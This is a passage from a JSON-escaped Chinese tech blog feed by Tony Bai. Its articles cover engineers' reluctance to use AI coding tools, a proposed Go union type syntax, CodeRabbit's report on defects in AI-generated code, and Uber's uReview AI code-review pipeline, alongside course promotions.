Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"高并发后端：坚守 Go，还是拥抱 Rust？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/29/why-many-software-engineers-still-ignore-ai-programming\n大家好，我是Tony Bai。\n“我注意到一件让我非常惊讶的事：似乎大多数软件工程师并没有充分利用（甚至根本不用）像 Claude Code、Cursor 或 GitHub Copilot 这样的 AI 编程工具。\n我所在的自由职业者社区里，每个人都在疯狂压榨这些工具的极限，生产力飙升。但当我和传统公司的工程师聊天时，画风完全不同。大多数人几乎不用 AI，公司文化也不支持。\n自由职业者/早期采用者与普通大厂员工之间，似乎出现了一道巨大的鸿沟。”\n近日，Reddit 上的一篇热帖，再次引爆了关于“AI 编程”的讨论。显然，这不仅是一个技术问题，更是一场关于职业生存、工程伦理与未来选择的深刻辩论。\n为什么在 AI 席卷全球的今天，仍有大量工程师选择“无视”甚至“抵制”它？这背后的原因，远比“懒惰”或“守旧”要复杂得多。\n信任危机：“它写得很快，但错得离谱” 对于许多资深工程师来说，拒绝 AI 的首要原因不是“傲慢”，而是恐惧——对不可控代码的恐惧。\n一位 20 年经验的老兵在高赞评论中写道：\n“AI 工具既棒极了又糟透了。它们能飞快地生成代码，但也会以一种极具想象力或极其隐蔽的方式破坏整个系统，让你花上几个小时去修补。”\n这道出了无数人的心声。自己写的代码，就算有 Bug，你也知道逻辑脉络；而 AI 生成的代码，虽然看着像模像样，但你不仅要理解它，还要审查它是否引入了安全漏洞、性能陷阱或是荒谬的幻觉。\n“如果我花了 80% 的时间在构思，20% 的时间在写代码。AI 颠倒了这个过程，但我那 80% 的时间变成了帮 AI 擦屁股。” 一位开发者如是说。\n环境的枷锁：大厂的围墙 vs. 荒野的求生 帖主观察到的“鸿沟”，其实是生存环境的差异。\n自由职业者/创业者：他们是荒野猎人。每一分钟的节省都直接转化为收入。他们往往处理的是从 0 到 1 的新项目，没有历史包袱。AI 在这种场景下是神兵利器，能让他们以一当十。 大厂员工：他们是城堡守卫。面对的是数百万行、有着 10 年甚至更长历史的“屎山”代码。这里充满了复杂的业务逻辑、诡异的依赖关系和严苛的安全合规要求。 复杂的上下文：AI 很难理解一个庞大、老旧代码库的全部上下文。 安全与合规：正如许多评论指出的，很多公司出于数据泄露的恐惧，直接封禁了 AI 工具，或者只允许使用“阉割版”或“内部部署的大模型”。 激励机制：在大厂，多干活往往不意味着多拿钱，甚至可能因为引入了 AI 生成的 Bug 而背锅。既然工资照发，为什么要冒险去改变工作流？ 一位开发者总结得精辟：“微服务架构、遗留代码和复杂的业务逻辑，是 AI 目前难以逾越的护城河。”\n技能的诅咒：新手狂欢，高手叹息？ 这里出现了一个有趣的“技能倒挂”现象。\n初级开发者：往往对 AI 趋之若鹜。因为 AI 能帮他们写出自己原本写不出来的代码，填补了能力的空白。 高级开发者：态度两极分化。 抵制者：他们以此为荣，认为编程是一门精密的艺术，容不得 AI 的“大概差不多”。他们享受对每一行代码的掌控感。 驾驭者：他们把 AI 当作“超级实习生”。他们不让 AI 做架构决策，只让它写单元测试、生成样板代码、转换数据格式。他们深知 AI 的局限，所以只在 AI 擅长的领域使用它。 正如评论所言：“用 AI 编程就像坐自动驾驶的车。新手觉得‘哇，车自己会动！’，老司机则时刻把手放在方向盘上，因为他知道这玩意儿随时可能把车开进沟里。”\n未来的分岔路：你是工匠，还是操作员？ 这场讨论最终指向了一个终极问题：软件工程师的未来是什么？\n有人悲观：“这就像当年会计师抵制 Excel 一样。拒绝工具的人，最终会被淘汰。”\n有人乐观：“AI 将消灭平庸的‘代码搬运工’，但会放大真正懂得系统设计、能解决复杂问题的工程师的价值。”\n无论你属于哪个阵营，一个趋势是不可逆转的：编码（Coding）本身的门槛正在降低，但工程（Engineering）的门槛并未改变，甚至在提高。\n未来的工程师，可能分为两类：\nAI 操纵者：利用 AI 快速交付产品，关注的是“结果”而非“过程”。 系统守望者：负责审查 AI 的产出，解决 AI 无法处理的极端边界情况，维护系统的架构与安全。 小结：打破“傲慢与偏见” 回到最初的问题：“为什么很多人无视 AI？”\n也许不是无视，而是审慎。 也许不是傲慢，而是负责。 也许不是懒惰，而是受限。 但对于我们每一个个体而言，最危险的态度是**“傲慢的无视”**。你可以因为安全原因不用，可以因为质量原因少用，但绝不能因为“看不起”而不去了解。\n去试一试吧。 不要只用它写 Hello World，试着让它重构一个函数，写一个测试，解释一段晦涩的代码。了解它的上限，摸清它的下限。\n因为在不久的将来，评价一个工程师的标准，或许不再是你写代码有多快，而是你能多好地驾驭这个不知疲倦、偶尔发疯、但潜力无限的“硅基队友”。\n资料链接：https://www.reddit.com/r/ClaudeAI/comments/1ot9b8n/why_are_so_many_software_engineers_still_ignoring/\n你属于哪一类？\n在AI浪潮面前，你觉得自己更像是一个在荒野中狂奔的“猎人”，还是在城堡中坚守的“守卫”？你所在的团队对AI编程持什么态度？\n欢迎在评论区分享你的真实处境和思考！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/29/why-many-software-engineers-still-ignore-ai-programming/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/why-many-software-engineers-still-ignore-ai-programming-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/29/why-many-software-engineers-still-ignore-ai-programming\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/29/why-many-software-engineers-still-ignore-ai-programming\"\u003ehttps://tonybai.com/2025/12/29/why-many-software-engineers-still-ignore-ai-programming\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我注意到一件让我非常惊讶的事：似乎大多数软件工程师并没有充分利用（甚至根本不用）像 Claude Code、Cursor 或 GitHub Copilot 这样的 AI 编程工具。\u003c/p\u003e","title":"“为什么很多工程师还在无视 AI 编程？”—— 这里的答案，或许决定了你三年后的身价"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/29/go-community-new-sum-type-end-interface-union-types\n大家好，我是Tony Bai。\n“Go 什么时候支持枚举？”\n“Go 什么时候有真正的联合类型？”\n这可能是 Go 语言诞生以来，被问得最多的问题之一。现有的解决方案——无论是用 const 模拟枚举，还是用 interface{} 配合类型断言模拟联合类型——在类型安全、表达力和穷尽性检查上，都总让人感觉“差了那么一点意思”。\n近日，Go 核心团队成员 neild 在 GitHub 上发起了一个非正式的讨论 (#76920)，抛出了一种全新的、非接口 (non-interface) 的联合类型设计构想。这个构想虽然只是一个“思想实验”，却迅速引爆了社区的热情，成为了近期最热门的话题之一。\n本文将带你深入这场讨论的核心，看看这个名为 union 的新类型，究竟有何魔力。\n核心痛点：为什么我们需要 Sum Types？ 在深入设计之前，让我们先回顾一下，为什么我们如此渴望这个特性。neild 列举了三个极具代表性的场景：\nDirection 类型 (Enum)：一个类型只能是 North, South, East, West 四者之一。 Option/Maybe (Sum Type)：一个类型要么包含一个值 T，要么什么都没有（None）。 IP 地址 (Variant)：一个类型要么是 IPv4 ([4]byte)，要么是 IPv6 ([16]byte)。 目前，我们通常使用 interface 来模拟这些场景。但 neild 指出，接口并不是最佳方案：\n零值问题：接口的零值是 nil。这迫使我们必须处理一个额外的、可能毫无意义的 nil 状态，这在很多时候（如 Direction）是不合理的。 定义繁琐：你需要为每一个变体定义一个单独的类型，这在变体较多时显得非常啰嗦。 语义混淆：接口本质上是关于行为的抽象，而和类型本质上是关于数据结构的定义。强行用接口来表达数据结构，是一种概念上的错位。 大胆构想：像定义 Struct 一样定义 Union neild 提出的方案，不仅巧妙，而且极具 Go 风格。他的核心洞察是：Struct 是“积类型” (Product Type)，Union 是“和类型” (Sum Type)。既然它们是对偶的，为何不使用相似的语法呢？\n// 积类型 (Struct): 同时包含所有字段 type Point struct { X int Y int } // 和类型 (Union): 包含且仅包含其中一个变体 type Direction union { North, South, East, West atom } type Maybe[T any] union { Unset atom Set T } type IP union { IPv4 [4]byte IPv6 [16]byte } 这里引入了一个新概念：atom（也可以叫 unit 或其他名字）。它本质上是 struct{} 的别名，用于表示那些不携带数据、只代表某种状态的变体（如 North 或 Unset）。\n这种设计的美妙之处在于：\n语法一致性：它看起来就像我们熟悉的结构体，只是关键字变成了 union。 明确的零值：Union 的零值就是其第一个变体的零值。例如 Direction 的零值就是 North，IP 的零值就是 IPv4{0,0,0,0}。没有额外的 nil 状态！ 内聚性：所有变体都定义在同一个类型内部，不需要像接口那样定义一堆散落的类型。 使用体验：类型安全与穷尽性检查 这个设计不仅在定义上优雅，在使用上也力求符合 Go 的直觉。\n构造与赋值 你可以像使用结构体字面量一样构造 Union，但只能指定一个键：\nd := Direction{North: atom{}} // 或者简化为 d := Direction.North m := Maybe[int]{Set: 42} 访问与判断 对于 atom 类型的变体，访问它返回一个布尔值；对于携带数据的变体，访问它返回数据和布尔值（类似 map 的查找）：\nif d.North { fmt.Println(\u0026#34;Heading North\u0026#34;) } if v, ok := m.Set; ok { fmt.Println(\u0026#34;Value is:\u0026#34;, v) } Union Switch：杀手级特性 这是 Sum Types 最强大的地方——穷尽性检查。\nswitch d.(union) { case North: // ... case South: // ... // 如果漏掉了 East 或 West，编译器会报错！ } 这种编译期的保障，彻底消除了“忘记处理某种情况”的 Bug 来源，是构建健壮系统的基石。\n社区激辩：细节中的魔鬼 虽然大方向得到了广泛认可，但在具体细节上，社区展开了激烈的讨论。\nstruct{} 的特殊待遇 neild 提议对 atom (即 struct{}) 进行特殊处理，使其可以直接作为值使用（如 Direction.North）。但这引起了 ianlancetaylor 等人的担忧：这种特殊规则是否会增加语言的复杂性和不一致性？如果不特殊处理，写 Direction{North: struct{}{}} 又实在太啰嗦了。\n命名之争：atom vs unit vs iota atom 这个名字是否合适？有人建议使用 null，有人建议复用 iota，还有人建议直接允许 union { North, South } 这种省略类型的语法。这再次证明了，“命名”永远是计算机科学中最难的问题之一。\n与泛型的纠葛 如果 Union 是泛型的，如何处理？Maybe[T] 是一个完美的例子。但如果 T 本身也是一个 Union 呢？嵌套的 Union 及其 Switch 语句该如何设计？这些都是需要深思熟虑的边缘情况。\n小结：Go 语言演进的新曙光？ 尽管 #76920 目前只是一个“讨论”，并非正式提案，但它释放了一个强烈的信号：Go 团队也许正在认真思考如何以一种“地道”的方式引入和类型(Sum Type)。\n这个设计方案，在保持 Go 语言简单性的同时，极大地增强了其表达力和安全性。它避开了接口的动态性陷阱，提供了一种静态的、高效的、内存布局可控的数据结构。\n如果这个构想最终能成真，它将填补 Go 语言类型系统中最后一块重要的拼图，让我们彻底告别用 iota 和 interface{} 拼凑枚举与联合类型的日子。\n资料链接：https://github.com/golang/go/issues/76920\n你的态度是？\n对于这个打破常规的 union 语法设计，你是感到兴奋，觉得它终于填补了 Go 的拼图？还是感到担忧，觉得它让 Go 变复杂了？\n如果给你一张选票，你会支持这个提案落地吗？\n欢迎在评论区投出你的一票，并分享你的理由！ 让我们一起见证 Go 语言的演进。\n如果这篇文章让你对 Go 的未来有了新的期待，别忘了点个【赞】和【在看】，并分享给身边的 Gopher 朋友！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/29/go-community-new-sum-type-end-interface-union-types/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-community-new-sum-type-end-interface-union-types-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/29/go-community-new-sum-type-end-interface-union-types\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/29/go-community-new-sum-type-end-interface-union-types\"\u003ehttps://tonybai.com/2025/12/29/go-community-new-sum-type-end-interface-union-types\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“Go 什么时候支持枚举？”\u003c/p\u003e\n\u003cp\u003e“Go 什么时候有真正的联合类型？”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e这可能是 Go 语言诞生以来，被问得最多的问题之一。现有的解决方案——无论是用 const 模拟枚举，还是用 interface{} 配合类型断言模拟联合类型——在类型安全、表达力和穷尽性检查上，都总让人感觉“差了那么一点意思”。\u003c/p\u003e","title":"告别 interface{} 模拟，Go 终于要有真正的 Union 类型了？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/28/state-of-ai-vs-human-code-generation-report\n大家好，我是Tony Bai。\n“天下武功，唯快不破。但在软件工程里，‘快’可能是致命的诱惑。”\n2025 年，AI 编码助手/智能体已经成为开发者的标配。它像蜜糖一样，让我们尝到了开发效率飙升的甜头：从自然语言一键生成函数，到自动补全繁琐的样板代码，甚至的整个项目的源码，功能交付周期从未如此之短。\n然而，CodeRabbit 最新发布的《2025 年度 AI 与人类代码生成现状报告》却揭示了这层甜蜜糖衣下的残酷真相：Bug 激增、逻辑漏洞百出、安全隐患翻倍。\n如果不加控制，这些由 AI 快速生成的劣质代码，很可能成为慢性发作的砒霜，最终毒害整个代码库的健康。这份报告用触目惊心的数据告诉我们：在享受 AI 带来的速度红利时，我们必须建立起更强大的免疫系统。\n触目惊心的数字——AI 的“副作用” CodeRabbit 分析了 470 个开源项目的 Pull Requests (PR)，其中 320 个由 AI 参与编写。结果显示，AI 并不是那个完美的“超级程序员”，它更像是一个高产但粗心的实习生。\n问题总量激增 1.7 倍 这是最核心的发现。AI 参与的 PR 平均每 100 个包含 10.83 个问题，而人类纯手工编写的 PR 只有 6.45 个。这意味着，引入 AI 后，你的 Code Review 工作量不仅没有减少，反而可能翻倍。\nAI 参与的代码，问题数量显著高于人类手写代码\n逻辑错误暴涨 75% 这是最令人担忧的数据。AI 生成的代码在业务逻辑、依赖关系和控制流方面，错误率比人类高出 75%。\n为什么？\n因为 AI 只是在做“统计学上的模仿”，它并不真正理解你的业务规则。它能写出语法完美的代码，但却可能在转账逻辑里漏掉一个关键的校验。\n逻辑错误是 AI 代码的重灾区\n安全漏洞增加 2.74 倍 AI 在处理敏感信息时表现堪忧。硬编码密码、不安全的对象引用等低级错误，在 AI 代码中出现的频率是人类的近 3 倍。AI 倾向于模仿它在训练数据中看到的“旧代码”，而那些旧代码中往往充满了过时的、不安全的模式。\nAI 代码更容易引入严重的安全漏洞\n可读性灾难：飙升 3 倍 虽然 AI 生成的代码乍一看很工整，但在命名规范、代码结构和上下文一致性上，它往往与现有代码库格格不入。这种“违和感”大大增加了后续维护者的认知负荷。\nAI 为什么会犯错？——透视“黑盒” 报告不仅列出了数据，还深刻剖析了 AI 犯错的根本原因。为什么它这么快，却又这么容易错？\n缺乏全局视野：AI 看不到你整个系统的架构图，也听不到资深工程师在茶水间的讨论。它只能根据局部的提示词生成代码，因此经常丢失业务上下文。 “表面光鲜”：AI 擅长生成“看起来能跑”的代码。它会忽略边界检查、错误处理和异常路径，只为了尽快给出一个“正确答案”。 偏爱“简单”：AI 倾向于选择最简单的实现路径（例如，简单的循环、低效的 I/O），而忽略了性能优化和资源效率。 AI 代码倾向于低效的 I/O 操作，因为它偏爱简单的模式\n工程师的自救指南——如何驾驭 AI？ 既然 AI 有这么多坑，我们是否应该因噎废食，放弃使用它？\n当然不是。AI 依然是强大的加速器，前提是我们必须为它加上“护栏”。 未来的软件工程，不再是“写代码”，而是**“设计系统来生成和验证代码”**。\nCodeRabbit 给出了几条务实的建议：\n给 AI 喂“上下文” 不要只给 AI 一句简单的指令。把你的业务规则、架构约束、代码规范，甚至关键的配置文件，都作为上下文提供给它。让它在“懂行”的前提下写代码。\n自动化“安检” 不要依赖人工 Review 去发现格式问题和低级错误。配置严格的 Linter（如 golangci-lint）、Formatter 和安全扫描工具，在代码进入人工视线之前，先由机器进行一轮清洗。\n强化“正确性”护栏 针对 AI 在逻辑和错误处理上的弱点，强制要求：\n重要逻辑必须有测试覆盖。 显式检查空值和类型。 标准化异常处理流程。 审查清单升级 Code Review 的重点需要转移。不要再纠结于语法细节，而要专门针对 AI 的弱点进行检查：\n错误路径是否覆盖了？ 并发原语是否正确使用？ 配置项是否验证了？ 有没有硬编码的凭证？ 小结：质量不是自动的，它是设计出来的 这份报告给我们敲响了警钟：AI 不会自动带来高质量的代码。 相反，如果不加控制，它会以前所未有的速度制造技术债。\n我们需要构建更强大的 CI/CD 流水线、更严格的自动化测试、以及更智能的 Code Review 流程，来承接 AI 带来的产能爆发。\n只有当我们学会了如何像管理实习生一样管理 AI，我们才能真正享受到它带来的红利，而不是被它制造的 Bug 淹没。\n如果你不想被“砒霜”毒害，就请先学会如何过滤“蜜糖”。\n报告地址：https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report\n深度破局：用 Spec-Driven Development 扼杀 Bug 于摇篮\nCodeRabbit 的报告虽然犀利地点出了问题，并建议“给 AI 提供上下文”，但它没有告诉我们具体该怎么做。\n在实际工程中，仅仅靠零散的 Prompt 是无法约束 AI 狂野的想象力的。解决“质量砒霜”的终极解药，其实是彻底改变我们的开发范式——走向 SDD (Spec-Driven Development，规范驱动开发)。\n与其让 AI 对着模糊的需求“猜”代码（然后我们去修 Bug），不如建立一套以规范为核心的流水线：先用 AI 辅助构建严谨的 Spec，在逻辑层面完成验证，再“驱动”AI 生成高质量代码。\n这正是我的极客时间专栏《AI 原生开发工作流实战》的核心内容。\n在这个专栏中，我将带你跳出“Prompt 调优”的低维竞争，掌握一套系统性的方法论：\nSDD 实战心法：如何实施“规范驱动开发”，把 80% 的逻辑错误拦截在写代码之前。 精准 Context 工程：如何构建结构化的上下文投喂机制，让 AI 真正“读懂”你的架构约束。 全链路重构：从需求分析到代码落地的全套 AI 协作 SOP。 不要只做 AI 的“质检员”，要做掌控 AI 的“架构师”。\n扫描下方二维码，订阅《AI 原生开发工作流实战》，让我们一起重新定义 AI 时代的软件工程。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/12/28/state-of-ai-vs-human-code-generation-report/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/state-of-ai-vs-human-code-generation-report-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/12/28/state-of-ai-vs-human-code-generation-report\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/12/28/state-of-ai-vs-human-code-generation-report\"\u003ehttps://tonybai.com/2025/12/28/state-of-ai-vs-human-code-generation-report\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“天下武功，唯快不破。但在软件工程里，‘快’可能是致命的诱惑。”\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e2025 年，AI 编码助手/智能体已经成为开发者的标配。它像\u003cstrong\u003e蜜糖\u003c/strong\u003e一样，让我们尝到了开发效率飙升的甜头：从自然语言一键生成函数，到自动补全繁琐的样板代码，甚至的整个项目的源码，功能交付周期从未如此之短。\u003c/p\u003e","title":"Bug 激增 1.7 倍！AI 写代码：是速度的蜜糖，还是质量的砒霜？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/12/27/code-review-hell-in-ai-age\n大家好，我是Tony Bai。\n最近，在与几位架构师朋友的交流中，一个在 AI 编码时代下越来越普遍的“灵魂拷问”浮出水面。这不仅是一个问题，更是他们正在亲身经历的“代码审查地狱 (Code Review Hell)”。\n想象一下这个场景：由 AI Agent 生成的代码正以前所未有的速度涌来，堆积如山；你花费心力给出的精辟修改意见，却被开发者转身当作新的 Prompt 重新喂给了 AI；片刻之后，一个全新的 PR 诞生了——它看起来解决了旧问题，却可能带着一堆你从未见过的新问题。你感觉自己深陷于“生成-审查-再生成”的无限循环中，身心俱疲。\n这场危机并非危言耸听。在 Uber，每周有超过 65,000 个变更（相当于 PR）需要审查。当 AI 辅助编码成为常态，传统的 Code Review 流程已濒临崩溃。\n但这究竟是末日，还是进化的前夜？答案是后者。这场危机，正催生一场深刻的变革——一方面，它要求架构师完成从“创作者”到“导演”的角色进化；另一方面，它也催生了像 Uber uReview 这样复杂的、系统化的 AI 审查平台。\n本文将结合对当前危机的剖析与 Uber 的大规模工程实践，为各位小伙伴儿揭示这场变革的本质与破局之路。\n危机的剖析：我们到底在审查什么？ 要逃离地狱，必先理解地狱的构造。这场危机的根源，在于 AI 颠覆了代码的“创作”过程，从而动摇了 Code Review 的根基：\n思考过程“黑箱化”： 传统的 Code Review，我们审查的是代码，更是其背后开发者的思考路径。而 AI 的介入，将这个思考过程隐藏了起来。 审查对象“降维”： 审查被迫从“这段设计是否优雅？”降维到了“这次 AI 输出是否碰巧正确？”。 学习循环“断裂”： 开发者跳过了对 Review 意见最关键的“理解与吸收”环节，宝贵的经验传承被阻断。 天真地想用“AI 审查 AI”来解决问题，只会陷入更深的陷阱。正如 Uber 在其 uReview 项目初期所发现的，未经驯化的 LLM 会产生大量**“幻觉”和“低价值的误报”**，比如在非性能敏感的代码中挑剔性能问题。这些“噪音”会迅速侵蚀工程师对工具的信任，最终导致他们“调低音量并忽略它们”。\n破局之路（上）：架构师的进化——从“创作者”到“代码导演” 面对危机，架构师和资深开发者的核心价值，必须从 Code Writer (代码创作者)，进化为 Code Director \u0026amp; Editor (代码导演与总编)。\n“导演”不亲自扮演每个角色，但他定义了整部戏的基调、框架和最终质量。这份“代码导演”的实战手册，为我们指明了方向：\n实践 1：审查“左移”，审查“剧本”而非“表演” 在开发者大规模生成代码前，先审查其核心设计思路、任务分解和关键 Prompt。确保“剧本”是对的，再让 AI 这个高效的“演员”去表演。\n实践 2：制定 AI 时代的 Code Review 新规\n明确标识 AI 代码，为审查者提供“警示”。 强制开发者解释“为何接受”AI 方案，夺回思考的主动权。 禁止“甩锅式再生成”，保护学习循环。 实践 3：定义“AI-Go”与“AI-No-Go”区域\n将 AI 的使用限制在单元测试、文档、模板代码等 AI-Go 区域，而在核心业务逻辑、安全代码等 AI-No-Go 区域保持高度警惕，让人类智慧主导。\n破局之路（下）：Uber 的 uReview——“导演”的智能副驾 如果说“代码导演”模型描绘了架构师的“个人修炼心法”，那么 Uber 的 uReview 平台则展示了如何将这些理念，构建成一个大规模、系统化的工程解决方案。uReview 并非要取代人类，而是作为一个**“智能副驾”或“第二审查员”**，来增强人类的能力。\n面对 AI 生成代码的洪水，Uber 没有让 uReview 直接进行审查，而是构建了一个精密的、多阶段的过滤管道，这与“导演”的思维方式不谋而合：\n图：Uber uReview 的多阶段处理流水线\n预处理: 首先，系统会过滤掉配置文件、自动生成的代码等低价值目标，只聚焦于需要审查的核心代码。 专业分工: uReview 并未使用单一的通用 AI，而是设计了多个**“专家助理”**： * Standard Assistant: 专注于逻辑缺陷、错误处理等 Bug。 * Best Practices Assistant: 对照 Uber 内部的风格指南，检查代码是否符合规范。 * AppSec Assistant: 专门寻找应用层的安全漏洞。 这完美印证了“定义 AI-Go/No-Go 区域”的思想——让专业的 AI 干专业的事。\n严格品控: 这是 uReview 的核心，也是对“警惕 AI 幻觉”的最佳回应。它包含一个多层过滤过程： * 二次评估：另一个 AI（Review Grader）会对生成的每条评论进行打分，过滤掉低置信度的评论。 * 语义去重：合并相似的建议。 * 分类抑制：自动压制那些历史上被证明对开发者价值不大的评论类别。 Uber 的实践经验，为我们带来了几条宝贵的“场内教训”，这些教训与架构师的直觉高度一致：\n精准比数量更重要: 充满噪音的建议会迅速摧毁信任。uReview 的核心策略就是“提供更少但更有用的评论”。 护栏与提示词同等重要: 优秀的系统架构和后处理流程，远比单纯的提示词工程更关键。 开发者讨厌文体说教: AI 提出的代码可读性、日志微调等建议，普遍不受欢迎。开发者更珍视对正确性、Bug 和最佳实践这种“高信噪比”的反馈。 AI 善于抓虫，而非评估设计: 由于缺乏设计文档、业务背景等上下文，AI 无法评估系统设计的优劣。这再次强调了人类“导演”在宏观设计上不可替代的价值。 如今，uReview 在 Uber 内部取得了巨大成功：超过 75% 的 AI 评论被工程师标记为“有用”，每周节省约 1500 个工时，相当于每年近 39 个开发者年。\n小结：拥抱人机协同的新未来 AI 带来的代码审查危机，实际上是一场深刻的产业升级。它迫使我们从对“代码”的微观审查，转向对“创作流程”的宏观把控。\n“代码导演”模型为我们提供了战略指引，而 Uber 的 uReview 则展示了实现这一战略的工程蓝图。未来的 Code Review，不再是人与人的博弈，也不是人与 AI 的对抗，而是一种全新的**“人机协同”**模式：\n架构师作为“导演”，定义设计、划定边界、把控最终质量；而像 uReview 这样的智能系统，则作为高效、精准、不知疲倦的“副驾驶”和“场务”，处理海量的细节检查，将人类从重复、繁琐的工作中解放出来。\n最后，回到那个终极问题：谁来为质量负责？答案从未改变，也永远不会改变：永远是工程师自己。AI 是我们手中最强大的工具，但手握方向盘、对最终结果负责的，永远是我们自己。\n资料链接：https://www.uber.com/blog/ureview/\n聊聊你的“审查之痛”\nAI 时代的 Code Review，正在成为每个技术团队的新挑战。在你所在的团队中，是否也遇到了 AI 代码带来的“审查地狱”？你们是如何应对的？ 是明令禁止，还是像 Uber 一样积极构建自动化防线？\n欢迎在评论区分享你的真实经历和思考！ 让我们一起探索人机协同的最佳实践。\n如果这篇文章对你有启发，别忘了点个【赞】和【在看】，并转发给你的架构师朋友，也许能帮他从“地狱”中解脱出来！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 